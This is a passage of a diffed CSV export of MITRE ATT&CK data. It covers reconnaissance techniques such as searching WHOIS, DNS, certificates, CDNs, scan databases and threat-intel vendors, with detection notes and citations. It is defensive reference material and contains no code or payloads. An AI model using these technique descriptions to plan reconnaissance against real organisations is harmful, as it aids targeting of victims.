Accounts](https://attack.mitre.org/techniques/T1078)).",['reconnaissance'],https://attack.mitre.org/techniques/T1597/002,mitre-attack,T1597.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1597.001', 'url': 'https://attack.mitre.org/techniques/T1597/001'}, {'source_name': 'D3Secutrity CTI Feeds', 'url': 'https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/', 'description': 'Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1597/001,mitre-attack,T1597.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Threat Intel Vendors,"Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1597/001', 'external_id': 'T1597.001'}, {'source_name': 'D3Secutrity CTI Feeds', 'description': 'Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.', 'url': 'https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/'}]",1.0,attack-pattern,attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:03:45.918Z,2021-04-15T03:45:30.862Z,Threat Intel Vendors,"Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) -Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41,attack-pattern,['reconnaissance'],2021-04-15T03:45:30.862Z,2020-10-02T17:03:45.918Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1597/001,mitre-attack,T1597.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1597', 'url': 'https://attack.mitre.org/techniques/T1597'}, {'source_name': 'D3Secutrity CTI Feeds', 'url': 'https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/', 'description': 'Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.'}, {'source_name': 'ZDNET Selling Data', 'url': 'https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/', 'description': 'Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1597,mitre-attack,T1597,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Search Closed Sources,"Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1597', 'external_id': 'T1597'}, {'source_name': 'D3Secutrity CTI Feeds', 'description': 'Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.', 'url': 'https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/'}, {'source_name': 'ZDNET Selling Data', 'description': 'Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.', 'url': 'https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/'}]",1.0,attack-pattern,attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:01:42.558Z,2021-04-15T03:45:31.020Z,Search Closed Sources,"Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) -Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4,attack-pattern,['reconnaissance'],2021-04-15T03:45:31.020Z,2020-10-02T17:01:42.558Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",['reconnaissance'],https://attack.mitre.org/techniques/T1597,mitre-attack,T1597,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1596.005', 'url': 'https://attack.mitre.org/techniques/T1596/005'}, {'source_name': 'Shodan', 'url': 'https://shodan.io', 'description': 'Shodan. (n.d.). Shodan. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1596/005,mitre-attack,T1596.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Scan Databases,"Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/005', 'external_id': 'T1596.005'}, {'source_name': 'Shodan', 'description': 'Shodan. (n.d.). Shodan. Retrieved October 20, 2020.', 'url': 'https://shodan.io'}]",1.0,attack-pattern,attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:00:44.586Z,2021-04-15T03:49:49.260Z,Scan Databases,"Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) -Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f,attack-pattern,['reconnaissance'],2021-04-15T03:49:49.260Z,2020-10-02T17:00:44.586Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",['reconnaissance'],https://attack.mitre.org/techniques/T1596/005,mitre-attack,T1596.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1596.004', 'url': 'https://attack.mitre.org/techniques/T1596/004'}, {'source_name': 'DigitalShadows CDN', 'url': 'https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/', 'description': 'Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1596/004,mitre-attack,T1596.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,CDNs,"Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/004', 'external_id': 'T1596.004'}, {'source_name': 'DigitalShadows CDN', 'description': 'Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.', 'url': 'https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/'}]",1.0,attack-pattern,attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:59:56.648Z,2021-04-15T03:47:55.905Z,CDNs,"Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. -Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75,attack-pattern,['reconnaissance'],2021-04-15T03:47:55.905Z,2020-10-02T16:59:56.648Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",['reconnaissance'],https://attack.mitre.org/techniques/T1596/004,mitre-attack,T1596.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1596.003', 'url': 'https://attack.mitre.org/techniques/T1596/003'}, {'source_name': 'SSLShopper Lookup', 'url': 'https://www.sslshopper.com/ssl-checker.html', 'description': 'SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.'}, {'source_name': 'Medium SSL Cert', 'url': 'https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2', 'description': 'Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1596/003,mitre-attack,T1596.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Digital Certificates,"Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/003', 'external_id': 'T1596.003'}, {'source_name': 'SSLShopper Lookup', 'description': 'SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.', 'url': 'https://www.sslshopper.com/ssl-checker.html'}, {'source_name': 'Medium SSL Cert', 'description': 'Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.', 'url': 'https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2'}]",1.0,attack-pattern,attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:58:58.738Z,2021-04-15T03:48:37.628Z,Digital Certificates,"Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. -Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca,attack-pattern,['reconnaissance'],2021-04-15T03:48:37.628Z,2020-10-02T16:58:58.738Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",['reconnaissance'],https://attack.mitre.org/techniques/T1596/003,mitre-attack,T1596.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1596.001', 'url': 'https://attack.mitre.org/techniques/T1596/001'}, {'source_name': 'DNS Dumpster', 'url': 'https://dnsdumpster.com/', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.'}, {'source_name': 'Circl Passive DNS', 'url': 'https://www.circl.lu/services/passive-dns/', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1596/001,mitre-attack,T1596.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DNS/Passive DNS,"Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/001', 'external_id': 'T1596.001'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",1.0,attack-pattern,attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:57:45.044Z,2021-04-15T03:49:13.409Z,DNS/Passive DNS,"Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. -Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532,attack-pattern,['reconnaissance'],2021-04-15T03:49:13.409Z,2020-10-02T16:57:45.044Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",['reconnaissance'],https://attack.mitre.org/techniques/T1596/001,mitre-attack,T1596.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1596.002', 'url': 'https://attack.mitre.org/techniques/T1596/002'}, {'source_name': 'WHOIS', 'url': 'https://www.whois.net/', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1596/002,mitre-attack,T1596.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,WHOIS,"Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/002', 'external_id': 'T1596.002'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}]",1.0,attack-pattern,attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:56:49.744Z,2021-04-15T03:50:44.113Z,WHOIS,"Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) -Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f,attack-pattern,['reconnaissance'],2021-04-15T03:50:44.113Z,2020-10-02T16:56:49.744Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",['reconnaissance'],https://attack.mitre.org/techniques/T1596/002,mitre-attack,T1596.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1596', 'url': 'https://attack.mitre.org/techniques/T1596'}, {'source_name': 'WHOIS', 'url': 'https://www.whois.net/', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.'}, {'source_name': 'DNS Dumpster', 'url': 'https://dnsdumpster.com/', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.'}, {'source_name': 'Circl Passive DNS', 'url': 'https://www.circl.lu/services/passive-dns/', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.'}, {'source_name': 'Medium SSL Cert', 'url': 'https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2', 'description': 'Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.'}, {'source_name': 'SSLShopper Lookup', 'url': 'https://www.sslshopper.com/ssl-checker.html', 'description': 'SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.'}, {'source_name': 'DigitalShadows CDN', 'url': 'https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/', 'description': 'Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.'}, {'source_name': 'Shodan', 'url': 'https://shodan.io', 'description': 'Shodan. (n.d.). 